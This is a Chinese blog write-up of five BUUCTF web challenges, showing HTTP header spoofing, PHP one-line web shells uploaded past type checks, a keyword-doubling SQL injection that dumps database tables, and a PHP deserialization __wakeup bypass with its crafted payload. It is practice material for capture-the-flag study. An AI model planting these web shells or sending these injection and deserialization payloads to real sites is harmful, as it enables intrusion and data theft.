第九周buuctf

[极客大挑战 2019]Http

在这里插入图片描述
在这里插入图片描述
查看源代码,发现有一个Secret.php
在这里插入图片描述
进入这个访问该目录
在这里插入图片描述
提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

Referer头用于告诉web服务器,用户是从哪个页面找过来的

在这里插入图片描述

提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加User-Agent:Syclover

User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

在这里插入图片描述
提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1
在这里插入图片描述
拿到flag

[极客大挑战 2019]Upload

在这里插入图片描述
创建一个木马文件,以便后续用蚁剑链接
文件内容为

GIF89a
<script language="php">eval($_POST['a']);</script> 

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht
上传此文件,然后提示Not image!
在这里插入图片描述
在这里插入图片描述
用burpsuite抓包,根据提示,修改Content-Type的内容为 image/jpeg
URL地址为:/upload/a.phtml
连接密码为:a
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[ACTF2020 新生赛]Upload

题目类型:文件上传,一句话木马
在这里插入图片描述
上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg
在这里插入图片描述
burpsuite抓包,修改后缀名
在这里插入图片描述
修改为.phtml后显示上传成功
使用蚁剑连接,URL地址为:http://848a2803-bdd9-4890-be0e-526c8ce1433f.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
在这里插入图片描述

[极客大挑战 2019]BabySQL

题目类型:SQL注入
在这里插入图片描述
输入用户名为admin,密码为1’
由报错信息可知存在SQL注入漏洞
在这里插入图片描述
试一下常规注入:/check.php?username=admin&password=1' union select 1#

在这里插入图片描述
根据报错信息猜测union 、select可能被过滤了,试一下双写绕过

/check.php?username=admin&password=1' ununionion seselectlect 1#

在这里插入图片描述
继续报错,URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
在这里插入图片描述
出现回显位置2和3

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
在这里插入图片描述
猜测flag在ctf里
爆表:/check.php?username=admin&password=1’ ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema=“ctf” %23

在这里插入图片描述
`
查字段名:/check.php?username=admin&password=pwd ’ ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name=“Flag”%23
在这里插入图片描述

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

在这里插入图片描述

[极客大挑战 2019]PHP

题目类型:序列化与反序列化

后台目录扫描工具:dirsearch

**魔术方法wakeup()绕过:**当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

常见的备份文件后缀名:.git .svn .swp .~ .bak .bash_history .rar .zip .7z .txt .html .tar.gz .old .temp

private:private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

public 属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected 属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
private 属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变

在这里插入图片描述

这儿提示备份网站,用dirsearch扫一下后台目录
输入:python dirsearch.py -u http://9b76aef7-3183-4da4-a909-0f95ad5b6607.node4.buuoj.cn -e php
找到www.zip,访问一下
在这里插入图片描述
发现有flag.php目录

在这里插入图片描述

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

无用信息
查看index.php源码,
在这里插入图片描述
发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

查看另一个文件class.php
在这里插入图片描述
查看源码
在这里插入图片描述
发现有输出flag的条件,接下来代码审计

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
	//创建对象时触发
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
	//使用unserialize时触发
    function __wakeup(){
        $this->username = 'guest';
    }
	//对象被销毁时触发
	//如果password=100,username=admin,在执行__destruct()的时候可以获得flag
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();       
        }
    }
}
?>

通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag

构造序列化

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>


在这里插入图片描述
接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup
绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
用序列化加%00
private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值